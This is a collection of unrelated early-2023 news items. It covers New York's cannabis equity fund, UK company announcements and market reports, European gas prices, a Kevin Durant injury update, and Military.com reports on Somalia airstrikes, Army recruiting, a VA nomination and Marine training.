Patrice Edwards, Director of the Bronx Cannabis Hub said, "What Mr. Conner has accomplished is a testament not just to his own determination and grit, but to his values. As a small business owner, Mr. Conner is already helping his fellow New Yorkers find emergency and transitional housing at a time when rents and evictions are still sky high. Now, Mr. Conner's success shows the promise of the new cannabis market to build the intergenerational wealth long denied by our failed drug laws and policies. We're proud that the Hub could support Mr. Conner and look forward to helping many more New Yorkers like him achieve the same success."

Justine Olderman, Executive Director of The Bronx Defenders said, "The Bronx Defenders is proud to be part of such an historic milestone for New York State. We launched the Hub with one goal in mind: to ensure that New York delivered on its promise that those most harmed by cannabis criminalization would benefit most from its legalization. The State must build on this momentum by continuing to invest and support initiatives like the Hub. It's time to rewrite the legacy of the War on Drugs."

The location is part of the program sponsored by the Fund, which is working with the Social Equity Servicing Corporation, (SESC), a subsidiary of the Dormitory Authority of the State of New York (DASNY), to support the acquisition, design, construction, and outfitting of locations for cannabis dispensaries to be operated by CAURD licensees. Authorized by Governor Hochul and the New York State Legislature, The Fund is a public-private limited partnership formed to position social equity entrepreneurs to succeed in New York's newly created adult use cannabis industry. Managed by Social Equity Impact Ventures, the Fund will help justice involved individual CAURD licensees meet the costs of establishing adult-use cannabis retail dispensaries, including the identification and leasing of suitable retail locations and design, construction, and fit-out of the spaces. It is supported by up to $50 million in licensing fees and revenue from the adult-use cannabis industry and up to $150 million from the private sector that will be raised by the Fund manager. Click here to learn more about the Fund.

To date, there are several locations available and ready for initial design and build out for CAURD licensees. The Fund will be making announcements of these locations on a rolling basis

The CAURD license is a central pillar of the New York State Seeding Opportunity Initiative. Through the Initiative, New York's first legal adult-use retail dispensaries will be operated by those most impacted by the enforcement of the prohibition of cannabis or nonprofit organizations whose services include support for the formerly incarcerated. These dispensaries will be making legal adult-use sales with cannabis products grown by New York Farmers.

To be eligible, applicants must either have a cannabis conviction themselves, or be the close family member of someone who does, and owns or has owned a business that had a net profit for at least two years. Nonprofits are eligible for CAURD licenses if they have a history of serving current or formerly incarcerated individuals, including creating vocational opportunities for them; have at least one justice involved board member; at least five full time employees; and have operated a social enterprise that had net assets or profit for at least two years.
(Alliance News) - Alkemy Capital Investments PLC on Tuesday said it has received approval alongside its wholly-owned subsidiary, Tees Valley Lithium Ltd, for its lithium hydroxide refinery.

Alkemy Capital Investments is a London-based company focused on acquisitions in the mining and technology metals sectors.

The company has received first phase approval from the UK government's GBP1 billion automotive transformation fund, which seeks to support the national transition to electric vehicles.

Tees Valley Lithium's lithium hydroxide refinery at Teesside in the UK has now received approval of its expression of interest. The project has been granted full planning permission from Redcar & Cleveland Borough council and is now shovel ready with production forecast to commence in 2025.

Alkemy expects the project to generate over 1,000 local jobs.

"We welcome the first phase approval of our project proposal by the Automotive Transformation Fund and look forward to working with the UK Government on the development of our transformative lithium hydroxide project in Teesside, which will be central to the transition to electric vehicles in the UK and an important step on the journey to our Net Zero future," said Alkemy and TVL Director Sam Quinn.

Alkemy shares were trading 2.9% lower at 233.00 pence each in London on Tuesday afternoon.

By Holly Beveridge; Alliance News reporter

Comments and questions to newsroom@alliancenews.com

Copyright 2023 Alliance News Ltd. All Rights Reserved.
(Alliance News) - UK housebuilder Redrow PLC has said homes in all its new developments will be fitted with a heat pump rather than a gas boiler from this month, in the industry's first pledge of its kind.

The company said it was overtaking its competitors in meeting government proposals to ban gas boilers in newbuild properties from 2025.

Air source heat pumps will be installed as standard in homes across its upcoming developments, with ground floor underfloor heating in detached properties, amid plans to fit new properties with alternative heating systems.

It will have the biggest impact to date on improving the efficiency of the homes it builds, Redrow said.

Gas boilers are being phased out as part of the government's commitment to become net zero by 2050.

But Redrow said its pledge is an industry first, as other builders have been slow to commit to the move away from traditional gas boilers.

The move is expected to significantly improve the energy efficiency of newbuild properties, and save people money on heating their homes.

Matthew Pratt, Redrow's chief executive, told the PA news agency its customers are asking for reassurance their homes will help them to future-proof their heating.

"Our customers want premium homes that are good for their pocket and good for the planet too", he said.

Making the transition ahead of changes in regulation in 2025 will help the builder get ahead of industry transformation and make it easier for customers to understand, he argued.

The boss said there is a "small increase" in the cost to install a heat pump compared to a gas boiler.

"However, we know that customers are very happy to invest in energy efficiency and when it comes to future proofing their home", he said.

"As these technologies become more widespread we expect costs to come down further."

Pratt went on: "We know how important energy efficiency is to our customers and we're proud to be investing in newer, greener technology and leading the way by offering these energy efficient features.

"This will provide the opportunity for our customers to reduce their costs and carbon footprint simultaneously."

Heat pumps use air and a small amount of electricity to produce heat and are more environmentally friendly than a gas-powered boiler when installed in an energy-efficient and well-insulated home.

Redrow trialled the energy consumption for heating and hot water with a heat pump, compared with a traditional gas boiler, and found that the heat pump used significantly less energy, operating at an efficiency of around two to three times that of an A-rated boiler.

The builder has partnered with manufacturers Mitsubishi Corp, Vaillant and Daikin Industries Ltd to install the new heating systems.

By Anna Wise, PA Business Reporter

source: PA

Copyright 2023 Alliance News Ltd. All Rights Reserved.
(Sharecast News) - London stocks were set to rise at the open on Tuesday following strong gains on Wall Street.

The FTSE 100 was called to open 20 points higher at 7,804.

CMC Markets analyst Michael Hewson said: "While US markets surged higher yesterday it is notable that today's European market open is likely to be a much more tepid affair, suggesting perhaps that investors in Europe don't share the same enthusiasm about the economic outlook, despite the reopening of the Chinese economy, which may help to provide a demand boost."

Investors will be mulling over the latest data from the Office for National Statistics, which showed that government borrowing hit a fresh high in December, mostly due to the household energy support scheme and high debt interest costs.

Borrowing came in at 27.4bn, up 16.7bn on December 2021.

In corporate news, Primark owner Associated British Foods posted a 20% rise in sales during the Christmas period as consumers continued to hunt for bargains amid the cost-of-living crisis.

The company, which also has agriculture, sugar and food ingredients operations, said revenue in the 16 weeks to January 7 rose to 6.7bn, with Primark sales up 18% to 3.1bn. Group full-year expectations remain unchanged.

Elsewhere, Saga reiterated its guidance for half-year profits as sales in Cruise and Travel continued to recover from the pandemic.

Nonetheless, chief executive officer Euan Sutherland described conditions in the UK motor insurance market as still "challenging", adding that there had been "some pressure" on the company's underwriting business.
By Trend

The Czech Republic is exploring opportunities to expand its presence in the transport connectivity and energy sectors in Azerbaijan, Jaroslav Kurfurst, Deputy Minister of Foreign Affairs of the Czech Republic, told Trend exclusively.

"In the previous decade, the most important Czech investment projects in Azerbaijan were in the field of transport infrastructure. Our flagship project, the reconstruction of the Azerbaijani part of the Baku-Tbilisi-Kars Railway Corridor, was completed by a group of our companies led by Moravia Steel in 2019. As we are approaching a new and very different era, we are hoping for new investment opportunities for our companies in Azerbaijan in the sphere of connectivity and energy," he said.

According to the deputy minister, the cooperation between Azerbaijan and the Czech Republic in the energy field is of strategic importance.

"A pilot project completed by Czech companies in the Garavalli village school in the Shamakhi region in 2018 was aimed at raising awareness about the efficient use of energy resources. We consider bilateral cooperation in these areas important; therefore the Czech-Azerbaijani Agreement on Cooperation in the Field of Energy was signed during the visit of our Minister of Foreign Affairs in Baku in September 2021," he said.

The implementation of the Agreement may boost the bilateral cooperation in the field of diversification of the energy supplies, as well as the involvement of Czech companies in projects focusing on energy efficiency and renewables, Kurfurst noted.

Meanwhile, the Czech Republic has also been talking about activities promoting economic and trade cooperation with relevant Azerbaijani institutions, Kurfurst noted.

"Several projects are in the initial stage of discussion. We believe that the upcoming 5th Session of the Joint Commission on Economic, Scientific-Technical and Cultural Cooperation and accompanying business forum in Prague in early March will provide further momentum," he concluded.
(Alliance News) - London Stock Exchange Group PLC on Tuesday said that Scott Guthrie, the executive vice president of Microsoft's Cloud & AI Group, has joined its board as a non-executive director.

LSEG Chair Don Robert said Guthrie's "deep technology experience will provide a distinct perspective to the group as we continue to deliver on our ambition to become the leading global financial markets infrastructure and data business."

The announcement comes a month after LSEG said it will buy Microsoft products for the next 10 years, amid the US software company taking a 4% stake in LSEG from the Blackstone/Thomson Reuters consortium.

During the partnership, London Stock Exchange Group aims to spend a minimum of USD2.8 billion.

Back in December, LSEG said the partnership will jointly develop "new products and services for data and analytics, building on the good progress made by LSEG on the integration of Refinitiv and enhance its position as a financial markets infrastructure and data provider."

Under the arrangements, LSEG's data platform and other key technology infrastructure will migrate into Microsoft's Azure cloud environment.

Microsoft will release its results for the second quarter of its financial year 2023 on Tuesday.

By Tom Budszus, Alliance News reporter

Comments and questions to newsroom@alliancenews.com

Copyright 2023 Alliance News Ltd. All Rights Reserved.
LONDON, Jan 24 (Reuters) - British and Dutch wholesale gas prices edged lower on Tuesday as forecasts for milder temperatures and increased wind power output curbed demand.

The British within-day contract fell by 23.50 pence to 155.00 p/therm by 1030 GMT while the day-ahead contract was down 20.00 pence at 154.00 p/therm, according to Refinitiv Eikon data.

Peak wind power output in Britain is forecast at 7.4 gigawatts (GW) on Tuesday rising to 12.5 GW on Wednesday, Elexon data showed.

Meanwhile, local distribution zone demand, which is primarily used for heating, was forecast at 227 million cubic meters (mcm) on Tuesday and 210 mcm on Wednesday, Refinitiv Eikon data showed.

The forecasts were 9 mcm and 17 mcm lower respectively than previous expectations.

Britains National Grid paid customers to use less electricity on Monday the first time it has used a new scheme designed to help prevent power shortages.

The so-called demand flexibility service is also in place for Tuesday afternoon but National Grid stood down coal units that had previously been on standby for Tuesday.

The benchmark the front-month contract at the Dutch TTF hub was down by 7.95 euros at 58.95 euros per megawatt hour (MWh) according to Refinitiv Eikon data.

Healthy storage levels have weighed on European gas prices in recent weeks and were almost 78% full, latest data from Gas Infrastructure Europe showed.

Traders said news of progress in opening the Freeport LNG facility in the United States was also bearish for prices.

Freeport LNG, the second-largest U.S. liquefied natural gas exporter, on Monday said it had completed repairs to its Texas plant and asked U.S. regulators for permission to take early steps to restart the fire-idled facility.

The prospect (of a restart) is certainly getting the TTF animated, Tom Marzec-Manser, head of gas analytics at ICIS, said on Twitter.

In the European carbon market, the benchmark contract was down by 1.52 euros at 83.67 euros a tonne.
(Alliance News) - Sureserve Group PLC on Tuesday reported double-digit rises in both annual revenue and profit, building on continued momentum as it remains confident for the next financial year.

Sureserve is a Basildon, Essex-based compliance and energy services provider, focused on the UK public sector.

For the financial year that ended on September 30, revenue increased by 27.0% to GBP275.1 million from GBP216.6 million the year before. Order book rose 18.0% to GBP593.5 million from GBP502.9 million.

Pretax profit rose 41% to GBP15.6 million from GBP11.1 million, as operating profit increased by 36% to GBP16.4 million from GBP12.1 million the year before.

Earnings before interest, tax, depreciation and amortisation is up 37% to GBP16.8 million from GBP12.3 million.

Chief Executive Officer Peter Smith said: "I am pleased to report a year of progress at Sureserve building on last year's momentum to achieve strong increases in revenue and profits. Our order book of GBP593.5 million is a tremendous asset, providing a clear line of sight of future revenues, and the shift to longer term contracts that we have seen gives us confidence in the year ahead and beyond."

Looking ahead, Sureserve said it is confident in the outlook for financial 2023, saying its good momentum has continued with a good start into the new year. It expects 79% of financial 2023 revenue to be covered by the order book at the start.

Sureserve shares are up 3.4% at 87.40 pence each on Tuesday around midday in London.

By Xindi Wei, Alliance News reporter

Comments and questions to newsroom@alliancenews.com

Copyright 2023 Alliance News Ltd. All Rights Reserved.
(Alliance News) - The following is a round-up of updates by London-listed companies, issued on Tuesday and not separately reported by Alliance News:

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M&C Saatchi PLC - London-based advertising agency - Expects 2022 net revenue of GBP271 million, up 9% from GBP249 million posted in 2021. Attributes its revenue growth to a strong performance in the company's higher growth specialisms and in the UK and Americas. Anticipates a 14% rise in headline pretax profit to GBP31 million. Expects to announce its financial results in April 2023. "2022 was another record year for M&C Saatchi. We remained focused on delivery for our clients, resulting in excellent retention and new business wins. Investment in new capabilities and our unique specialist expertise position us well for 2023, and beyond," CEO Moray MacLennan says.

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National Grid PLC - London-based multinational electricity and gas utility company - Says that National Grid Gas is expected to add a lock-up undertaking for the benefit of each bondholder. This undertaking will restrict the company from making certain distributions in the event that the ratio of net debt to regulatory asset value were to exceed a pre-determined percentage value, expected to be set at 72.5%, it adds. This occurred around the time of the closing of the sale by National Grid PLC of a 60% stake in National Grid Gas PLC to a consortium comprising Macquarie Asset Management and British Columbia Investment Management Corp.

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Circle Property PLC - London-based buyer, developer and manager of regional office assets in UK - Exchanges contracts to sell its Victory House to Hilla Group Northampton Ltd at a sale price of GBP2.8 million. Expects the sale to be completed by mid-March 2023. Says that net proceeds from the disposal will be held as group cash and are expected to be returned to shareholders through the proposed issue of B shares.

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TP Group PLC - Wincanton, England-based consulting, software and engineering company - Says the court sanctioned the takeover by Science Group PLC. The takeover will be effective from Thursday.

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Tekcapital PLC - London-based intellectual property investor - Converts its outstanding loan note of USD1.35 million in Microsalt Inc for USD2.18 per share. This values MicroSalt at USD20.0 million.

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Angus Energy PLC - London-based oil and gas development company - Says that its drilling programme at Saltfleetby is likely to be extended by around 14 days due to drilling issues in the Westphalian reservoir. Says that it is preparing to mill a new window in the 7 inch casing, some 100 metres above the present cased depth of roughly 2,400 metres. Expects operations to mill the window to start on Wednesday. Appoints Richard Herbert as a non-executive director with immediate effect. "Richard brings broad and deep experience in the oil and gas sector and in particular of managing the challenging onshore drilling environment in the UK. Angus' Board is considerably stronger for his presence and we look forward to working with him," Chief Executive George Lucan comments.

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Amaroq Minerals Ltd - Greenland-focused mine development company - Confirms copper mineralisation across Kobberminebugt project in Greenland with the potential for significant tonnages at depth or along strike. "Kobberminebugt's high-grade nature is unsurprising given the historic small-scale mining in the area, and our team is now working closely to identify extensions and additional mineralised bodies to build a large exploration target through our future field programme. I look forward to presenting further positive results on this in the near future," Chief Executive Eldur Olafsson comments.

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Anglo Asian Mining PLC - London-based gold, copper and silver producer focused on Azerbaijan - Confirms an extension to the mineralisation reported by previous drilling with intercepts of up to 68 metres of continuous gold and copper mineralisation at its Gilar deposit. "Gilar continues to deliver exceptionally good grades of gold and copper over significant thicknesses of mineralisation. This will clearly increase the mineral resources of the deposit. The discovery of free gold at Gilar will mean adjusting our approach to processing the deposit, with preliminary metallurgical testwork planned to optimise the recovery of metals. The team are very excited to progress this project at pace and begin production," Vice-President Stephen Westhead comments.

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CPPGroup PLC - Leeds-based company, which provides products and services for financial services customers - Notes the recent rise in the company's share price and confirms that it knows of no reason for this increase.

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CyanConnode Holdings PLC - Cambridge, England-based designer and developer of narrowband radio frequency smart mesh networks - Raises GBP5.3 million, before expenses, through the placing of 30.9 million new shares at an issue price of 17 pence per share. "We recently announced an order for c. 1 million units, taking orders won this financial year to 2.3 million units. This shows significant growth compared to the previous year where we had won orders for a total of 1.3 million units in all years prior to 31 March 2022. There are currently tenders out in India for more than 100 million units. The funds raised by this placing will allow us to maintain momentum and win some of the large opportunities being presented to us at this time. On behalf of the board, I would like to thank all shareholders who have participated in this fundraising for their continued support," Executive Chair John Cronin comments.

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Eurasia Mining PLC - Russia-focused mining and mineral exploration company - Notes the recent share price increase and speculation regarding its Nyud licence. Notes that the Nyud exploration licence was granted to OOO Monchegorskoye in mid-December. It was established and owned by Rosgeo. The Nyud exploration licence is adjacent to the Company's mining permit in Monchegorsk, Kola Peninsula Russia, it says. Says OOO was established to build a joint venture to develop the Nyud project with Eurasia's 100% owned subsidiary Yuksporskaya Mining Co, following an agreement between Rosgeo and Eurasia in March 2021.

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Smiths News PLC - Swindon-based newspaper and magazine wholesaler - Reports that 21% of its shareholders voted against resolution 13 to give the board's authority to make political donations of up to GBP50,000. Adds that 17% of its shareholders voted against resolution 17 to give the board authority to call general meetings other than the annual general meeting with 14 clear days' notice.

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By Abby Amoakuh, Alliance News reporter

Comments and questions to newsroom@alliancenews.com

Copyright 2023 Alliance News Ltd. All Rights Reserved.
Greg Sukiennik has worked at all three Vermont News & Media newspapers and was their managing editor from 2017-19. He previously worked for ESPN.com, for the AP in Boston, and at The Berkshire Eagle in Pittsfield, Mass.
Brooklyn Nets star Kevin Durant suffered an MCL sprain that has kept him from playing since January 8. His absence brought the team to a 2-4 run without him on court but two consecutive wins that appeased the angry fans. Everybody knows Kevin Durant is the team's most vital player and not having him will make them more vulnerable. A new report from the Brooklyn Nets confirms the player is making positive progress in his recovery but they still failed to deliver any type of timeline for his return.

Kevin Durant evita males mayores tras un feo golpe en la rodilla

Despite not offering a date for his return, they did mention that after two weeks from suffering the MCL sprain, Kevin Durant will be re-evaluated in two weeks' time. This means that Durant won't play for at least another two weeks. That's potentially another six missed games and a possible return to play for the Chicago Bulls on February 9, if his recovery goes well. So far, the doctor who is taking lead in Durant's recovery said he was very happy with the star's progress. The physician's name is Dr. Riley Williams III and he made an evaluation of Durant's sprain at the Hospital for Special Surgery on Monday.

Durant's possible missed games over the next two weeks

As for the Nets' schedule over the next two weeks, they play on Wednesday against the Philadelphia 76ers and Thursday against the Detroit Pistons. Next Saturday will bring us a city game between the New York Knicks and the Brooklyn Nets and the Lakers on Monday to start off a new week. The next four games after that will take the Nets to play the Celtics, the Washington Wizards, Los Angeles Clippers, and the Phoenix Suns. The idea of this new re-evaluation is to check if Durant will be able to play the Chicago Bulls on February 9. Everybody in Brooklyn is crossing their fingers for Durant to return as soon as possible.
"Telefon ve tabletlerden OTV alnmamas"na iliskin bir calsma olmadg ogrenildi
Cold, cough, sore throat, and chest congestion are more common during winter months. However, following some natural and ayurvedic home remedies can protect you from a wide range of winter health problems.





Winter in India

Common Winter Health Problems

Winters in India are not the same throughout the country. While the northern parts do have colder winters, the south is usually more tropical and does not see extreme temperature variations. Nowadays, this situation is changing; the extreme climate change that has been gripping the globe has not left the country untouched. On one hand, the winter has become colder, foggier, and more polluted in the northern parts whereas the south is experiencing drastic temperature variations with colder nights and comparatively warmer days. This unbalanced climate outside has led to many health problems in the population.A few such issues are the frequent cold, cough, and chest congestion that affect the respiratory system.
An airstrike conducted by the U.S. military killed dozens of al-Shabaab fighters in Somalia, U.S Africa Command said in a press release Friday, as the Islamist insurgent group was waging a massive attack on Somalia's national army.

The Jan. 20 strike occurred approximately 260 kilometers northeast of Mogadishu near Galcad, Somalia, as the Somali National Army was fighting against "a complex, extended, intense attack by more than 100 al-Shabaab fighters," the command said.

Approximately 30 al-Shabaab militants were killed and three vehicles were destroyed, according to the release. No civilians were injured or killed by the U.S. military's bombing operation.

Read Next: Air Force Takes Responsibility for Release of Congressional Candidate's Records

Somalia's government tweeted Jan. 20 that forces with the Somali National Army were repelling an attack on a base in Galcad and killed "100 Alshabab terrorists" and destroyed five vehicles.

The government also reported that seven of its soldiers were killed during fighting, according to the tweet.

Military.com could not confirm either of the estimates of casualties, or the affiliation of the targets.

"Somalia remains central to stability and security in all of East Africa," the U.S. military said in Friday's press release. "U.S. Africa Command's forces will continue training, advising, and equipping partner forces to help give them the tools they need to defeat al-Shabaab, the largest and most deadly al-Qaeda network in the world."

U.S. Africa Command's most recent previously announced airstrike happened last month on Dec. 23, when the military was supporting the Somali National Army and killed six al-Shabaab militants.

Additional U.S. airstrikes on Dec. 14 and Dec. 17 killed a total of 15 al-Shabaab militants, according to news releases from U.S. Africa Command.

U.S. Africa Command has reported roughly two airstrikes per month against al-Shabaab since this last fall, per public press releases.

Notably, an Oct. 1 airstrike near Jilib, about 370 kilometers southwest of Mogadishu, killed "an al-Shabaab leader," according to a news release.

The U.S. government has had a military presence in Somalia since the mid-2000s, mostly targeting al-Shabaab. In the waning weeks of then-President Donald Trump's presidency, the military was removed from Somalia.

This past May, President Joe Biden recommitted the military's presence back to Somalia, ordering fewer than 500 troops to redeploy to the region, according to Reuters.

The Africa Center for Strategic Studiess, the Pentagon's study institution dedicated to researching security issues in the region, detailed in a report this past August that Somalia saw an 11% increase "in militant Islamist events and fatalities" over the last year.

-- Thomas Novelly can be reached at thomas.novelly@military.com. Follow him on Twitter @TomNovelly.

Related: Fire Watch: Inside the Fight by National Guardsmen to Repel a Terrorist Attack in Somalia
The Army is now offering promotions to privates -- along with a new medal -- for those who refer new recruits as it looks to boost its ranks after an abysmal recruiting year, officials announced Monday.

Soldiers in paygrades E-1 through E-3 who participate in a new referral program would be promoted if they bring in recruits, though they can receive only one promotion through the program.

The service has also introduced the Army Recruiting Ribbon, as Military.com was first to report earlier this month. The ribbon can be awarded a maximum of four times to any soldier who gets an applicant in the door who ultimately makes their way to basic training. Each ribbon is worth 10 promotion points.

Read Next: Family of Decapitated Soldier to Sue Army over Unsolved Homicide

Last year, the Army fell 15,000 soldiers short of its 60,000 recruiting goal, spurring service planners to move quickly to boost numbers in the new fiscal year, which started in October. This year, the Army is aiming for 65,000 new soldiers.

The majority of possible recruits in the U.S. are, however, ineligible for service, due to an obesity crisis and low academic performance on the military's SAT-style entrance exam. Service leaders estimate only about 23% of young Americans are even qualified for service.

The Army also faces a series of perception issues, with many recruits and their families believing that most of its jobs are combat-related; in reality, combat jobs make up a minority of roles in the service. Right-wing pundits and Republican lawmakers have also blasted the services, particularly the Army, as "woke," or so fixated on diversity and inclusion that they have abandoned their responsibility to be ready to fight.

Those accusations have largely been a partisan cudgel, given that those critiques rarely point to specific Pentagon rules or efforts that are new to the Biden administration. Army officials have told Military.com they are concerned about that message making its way to parents and others who have influence over young people who might elect to serve, but there is no evidence so-called "woke" accusations have had any impact on recruiting.

"We ask all Soldiers to share their personal Army story in new ways to ensure we remain the first choice for Americans who want to serve their country," Army Secretary Christine Wormuth, Sergeant Major of the Army Michael Grinston and Gen. James McConville, the service's top officer, wrote in a joint letter for the force. "Your experience can help us address the misconceptions about our great Army in your communities and among your peers."

The Army might be on track for its aggressive recruiting goal this year, having brought in 18,500 new recruits since October, Maj. Gen. Johnny Davis, head of the service's Recruiting Command, told Military.com, though he expressed cautious optimism about the early numbers. If the service can keep up that pace, it would bring in 74,000 recruits in fiscal 2023.

The Army is also expanding its pre-basic training courses for applicants who fail academic or body fat standards, an effort which service planners hope will make up a significant chunk of the recruiting shortfall seen last year. The program, the Future Soldier Preparatory Course, is set to bring in 12,000 applicants per year who otherwise might not have been eligible to enlist. The program has two tracks, one for weight loss and the other to tutor applicants to retake the service's entrance exam to bring them into compliance with most military occupations. Army planners are eyeing expanding that effort even further.

-- Steve Beynon can be reached at Steve.Beynon@military.com. Follow him on Twitter @StevenBeynon.

Related: Army Sees Signs it Might Hit Recruiting Target This Year
The Department of Veterans Affairs' acting under secretary for benefits has been nominated to fill the permanent role of undersecretary, a position that oversees the agencys benefits system for hundreds of thousands of veterans that has not had a Senate-confirmed executive in more than two years.

On Monday the Biden administration announced the nomination of Joshua Jacobs, currently serving as a senior policy adviser performing the duties of the under secretary for benefits, to formally be the benefits chief.

The job entails running the Veterans Benefits Administration, which oversees processing and management of roughly $135 billion worth of disability compensation and other non-medical benefits to 350,000 veterans or their survivors.

Read Next: US Supreme Court Rejects Veteran's Challenge to Disability Claims Filing Deadline

The department is made up of VBA Headquarters in Washington, D.C.; processing centers; and 56 regional offices.

Jacobs is a longtime VA employee and a former U.S. Senate staffer, including two years as deputy staff director for the Senate Veterans Affairs Committee.

Jacobs is the second nominee put forward by the administration for the job. Former Army Ranger and Department of Labor executive Ray Jefferson was nominated in March 2022, but his name was withdrawn following concerns over alleged contract impropriety during his time at the department. Jefferson was later cleared by the Department of Labor's inspector general.

If confirmed, Jacobs would assume the role of undersecretary as the VA faces growing demand for benefits and disability compensation under the Promise to Address Comprehensive Toxics, or PACT, Act.

As of mid-January, more than 234,000 claims had been filed under the legislation, which provides health care and disability compensation to veterans exposed to burn pits and other hazardous conditions while deployed.

Montana Democrat Sen. Jon Tester chairs the committee that will hold Jacobs' nomination hearing.

In a statement to Military.com, Tester said he looks forward to the Senate Veterans Affairs Committee's "swift consideration of" Jacobs' nomination.

"As the acting Under Secretary for Benefits, Joshua Jacobs has shown a strong commitment to leading the Department of Veterans Affairs in delivering veterans and their families timely access to their earned benefits. This is especially important as the Department works to deliver long-overdue benefits for veterans suffering from toxic-exposures and newly eligible for support under the PACT Act," Tester said.

The committee is expected to hold Jacobs' confirmation hearing in the coming weeks.

-- Patricia Kime can be reached at Patricia.Kime@Military.com. Follow her on Twitter @patriciakime

Related: VA Starts Early Review of Claims for Veterans With Terminal Illnesses Under the PACT Act
The Marine Corps has rolled out a sweeping plan to change the way it trains and educates Marines with the goal of getting them ready for combat faster as part of the service's modernization efforts.

In a report released Tuesday, the Corps' top officer, Commandant Gen. David Berger, wrote that a 2018 review found a variety of issues with the service's training and education approaches that led him to conclude that "the current ... system is not preparing the Marine Corps for the future operating environment."

Lt. Gen. Kevin Iiams, head of the Marines' Training and Education Command, told reporters Tuesday that the plan will mean getting away from "rote, repetitive training" and using new technology and resources to offer more practical and engaging classes and exercises.

Read Next: West Point Grad Congressman Says He Has 'Zero Time' for Complaints About Woke Military, Focused on China

One example of the changes in store for Marines is a "more offensively minded" advanced rifle qualification course where, instead of focusing on marksmanship and using paper targets, Marines will engage with robot targets in more realistic situations, Iiams said. It's something the service has worked on for years, but leaders now want to apply it to all Marine training.

While revamping rifle training speaks to the very heart of being a Marine, the Corps' top leaders also have larger innovations in their sights, as well. Both Iiams and the report make mention of "Project Tripoli," a plan that would allow different units to train together across various locations in a digital environment.

"Imagine a young lance corporal ... at Twentynine Palms, he's got some type of ocular system on that is a blended-reality system and as he is executing his attack," Iiams explained, "he looks up and he can see an F-35, that's actually being flown from a simulator on the East Coast, that is being driven into this synthetic system that he's got."

Another advantage of this modernized system, Iiams explained, is that units in the field would get feedback on how they're doing immediately, instead of having to wait days, "so for the next portion of the exercise, they're getting better as they move through the entire evolution."

Some of the changes -- like a greater emphasis on rigorous swimming training -- are being made with a future war in the Pacific in mind. Yet the Marine leaders who spoke with reporters Tuesday also noted that the current conflict in Ukraine confirmed to them the value of a well-trained, quick-thinking force.

"This is what's necessary -- that we need a cognitively agile [noncommissioned officer] that can outmaneuver our enemies in the future," Sgt. Maj. Stephen Griffin, the senior enlisted leader at the service's Training and Education Command, told reporters.

Col. Mark Smith, the director of the Marines' range training programs, added that "our NCOs aren't gonna show up to the battlefield and ask, 'Why are we here?'"

All these changes are being made with the Marines' grander revamp -- Force Design 2030 -- in mind. The goal of the renovation is to make Marine units more flexible and independent to better set them up for the envisioned future Pacific campaign of island-hopping.

Berger has previously said that this reliance on independence will mean Marines will need to be smarter and more mature. In November 2021, the Corps rolled out its "Talent Management Plan" to make that happen, but this education plan will be part of the equation as well.

Anthony Greco, the executive deputy of Training and Education Command, told reporters that Marine leaders will be able to expect that "the young Marines that they're going to get at an entry level are better prepared to be immediate contributors to their unit, and that they'll be ready for greater responsibility sooner than they might have been in the past."

Iiams said his goal is to use the new technology and training "to increase the retention of the learning and the training to new levels so that our young Marines, as they progress throughout their career, are more mature professionally sooner."

Since Force Design 2030 rolled out, some critics -- including former Marine generals -- have gone after the Marine Corps for allegedly changing so much about the service that it is robbing it of its potency and heritage. However, for Iiams, the plan builds on those values.

"There is a sacred process to making a Marine that, fundamentally, is not going to change," he said, before adding, "Can we make it better? Absolutely."

-- Konstantin Toropin can be reached at konstantin.toropin@military.com. Follow him on Twitter @ktoropin.

Related: After a Barrage of Editorials and Critiques, Marine Leaders Defend Restructuring Plan
The first West Point graduate to represent the academy in Congress -- a Democrat -- is warning Republicans against using the military academies in their planned war on "wokeness."

In an interview Monday with Military.com, Rep. Pat Ryan, D-N.Y., argued political attacks such as GOP accusations of "critical race theory" infiltrating the military academies undermine public trust in the military and distract from preparing the services to compete with China.

"Especially at a time of great global risk and change and uncertainty between China and Russia and everything else, we need to be the adults in the room here. We need to be the ones thinking not about scoring political points or what's gonna get you more likes on Twitter or hits on Fox News," he said.

Read Next: Army Will Offer Promotions, New Medals for Some Soldiers Who Bring in Recruits

"I have zero time for the political distractions and BS, and I will very aggressively call that out," he added. "The ultimate irony to me, a lot of people calling this out haven't spent a single day in uniform, and I think that certainly shows in how they've conducted themselves."

Ryan, a self-described "red shirt freshman" who expects to return to the House Armed Services Committee this Congress after his short stint at the end of last year following a special election, spoke with Military.com by phone about his military and veteran priorities this year. He spoke a day after holding a ceremonial swearing-in at the U.S. Military Academy at West Point overseen by Senate Majority Leader Chuck Schumer, D-N.Y., who nominated Ryan to the academy two decades ago.

Ryan highlighted preparing for competition with China, conducting oversight of the new military toxic exposures law, and getting a bill he first introduced last year related to Department of Veterans Affairs home loans across the finish line as among his top priorities.

Ryan, an Iraq War veteran, was first elected to Congress in a special election in August in a race that gave Democrats hope the expected "red wave" of the November elections wouldn't materialize -- hopes that were borne out when Republicans won a narrower House majority than expected and Democrats retained control of the Senate. Because of redistricting, Ryan ran this time in an adjacent district in the general election that includes West Point, making him the first academy graduate to represent the school in Congress.

With their narrow House majority, Republicans have vowed to target "woke" military policies, a term they apply to a wide range of policies they disagree with but most often refers to efforts to make the military more welcoming to minorities, women and nonconforming genders.

Republican attacks on wokeness in the military have also pulled in the military academies. An infamous exchange between Chairman of the Joint Chiefs Gen. Mark Milley and Republicans on the House Armed Services Committee in 2021 centered on allegations that critical race theory was being taught at West Point. Critical race theory is an academic framework largely confined to graduate-level courses that examines the intersection of law and racism but has become a label the GOP applies to any discussion of racism in America.

Ryan dismissed such attacks as a "distraction" from the more important issue of ensuring the military academies are training leaders and building a military force that's ready for competition with China.

Ryan offered few specifics on what Congress should be doing to advance the military's China strategy, though he commended some steps the military has already taken, such as the Marine Corps' reorganization of forces in the Pacific. In general, he said will be looking for "more creativity" and "a fresh set of thinking" during the upcoming budget cycle when it comes to tackling threats from China.

He also said he thinks the newly created House Select Committee on Strategic Competition between the United States and the Chinese Communist Party, one of the only House proposals to receive widespread bipartisan support so far this year, will be an important "clearing house" for lawmakers to craft a "comprehensive strategy" on China. While he would like to serve on the committee, he acknowledged his junior status makes it unlikely he will be appointed to the panel.

"I have a three-year-old and a one-year-old, two boys, and at the end of the day, if we don't get this right, this being the competition with China, I fear that they could fight in a World War-style conflict with China that would be devastating for the whole world," he said.

Meanwhile, Ryan pointed to his experience as a veteran as he discussed conducting oversight of the PACT Act, the sweeping measure passed last year that expanded health care and benefits for veterans exposed to toxic substances during their service. One area he wants to keep an eye on is whether more symptoms and medical conditions need to be added to the list of illnesses presumed to be connected to service after the bill added 23 diseases.

